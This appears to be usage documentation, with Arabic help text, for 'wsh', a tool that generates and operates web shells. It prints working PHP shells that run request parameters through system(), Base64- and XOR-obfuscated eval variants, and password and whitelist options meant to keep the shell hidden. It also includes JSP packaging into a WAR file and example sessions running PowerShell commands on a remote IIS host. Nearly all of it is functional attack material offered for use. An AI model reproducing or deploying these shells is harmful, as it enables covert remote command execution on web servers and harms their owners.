wsh <URL> [flags]

-X, --method string        طريقة HTTP: GET, POST, PUT, PATCH, DELETE (الافتراضي "GET")
    --param string         المعامل لإرسال الأمر
    --header string        الرأس لإرسال الأمر
-P, --params strings       معاملات طلب HTTP
-H, --headers strings      رؤوس طلب HTTP
-c, --config string        ملف التهيئة
-k, --ignore-ssl           تجاهل الشهادات غير الصالحة
    --log string           ملف السجل
    --prefix string        إضافة بادئة للأمر: 'cmd /c', 'powershell.exe', 'bash'
    --timeout int          مهلة الطلب بالثواني (الافتراضي 10)
    --trim-prefix string   اقتطاع بادئة المخرجات
    --trim-suffix string   اقتطاع لاحقة المخرجات
-h, --help                 المساعدة لـ wsh

wsh generate <language> [flags]
wsh g <language> [flags]

-X, --method string        طريقة HTTP (GET,POST,PUT,PATCH,DELETE) (الافتراضي "GET")
-p, --param string         المعامل لإرسال الأمر
    --header string        الرأس لإرسال الأمر
-w, --whitelist strings    عناوين IP للقائمة البيضاء
-o, --outfile string       ملف الإخراج
    --no-file              تعطيل إمكانيات رفع/تنزيل الملفات
    --pass string          حماية القذيفة بكلمة مرور
    --pass-header string   الرأس لإرسال كلمة المرور
    --pass-param string    المعامل لإرسال كلمة المرور
    --xor-header string    الرأس لإرسال مفتاح XOR
    --xor-key string       مفتاح تشفير XOR
    --xor-param string     المعامل لإرسال مفتاح XOR
    --base64               ترميز القذيفة بـ Base64
    --minify               تصغير كود قذيفة الويب
-t, --template string      ملف قالب قذيفة الويب
-h, --help                 المساعدة للإنشاء

$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath]  تنزيل ملف
put <local filepath> [remote filepath]  رفع ملف
clear                                   مسح الشاشة
exit                                    الخروج من القذيفة

$ wsh generate php --param cmd --no-file -o shell.php
تم إنشاء القذيفة في shell.php.

$ wsh 127.0.0.1:8080/shell.php --param cmd

<?php
  $MfOb = $_REQUEST['cmd'];
  $MfOb = trim($MfOb);
  system($MfOb);
  die;
?>

$ wsh generate php --no-file --header user-agent  -o shell.php
تم إنشاء القذيفة في shell.php.

$ wsh 127.0.0.1:8080/shell.php --header user-agent

$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t

$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t

$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>

$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
  for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
    $oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
  }
}
eval($oooqt);
?>

$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp

$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/27/2020  11:49 PM                config
d-----        5/27/2020  11:49 PM                en
d-----        5/28/2020  12:25 AM                en-US
-a----        5/27/2020  11:49 PM         119808 appcmd.exe

127.0.0.1:8080/shell.php --param cmd --log localhost.log
تسجيل الدخول إلى: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...

[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs

$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre>
README.md
cmd
example-configs
index.php
main.go
templates
        </pre>
    </div>
. . .

$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates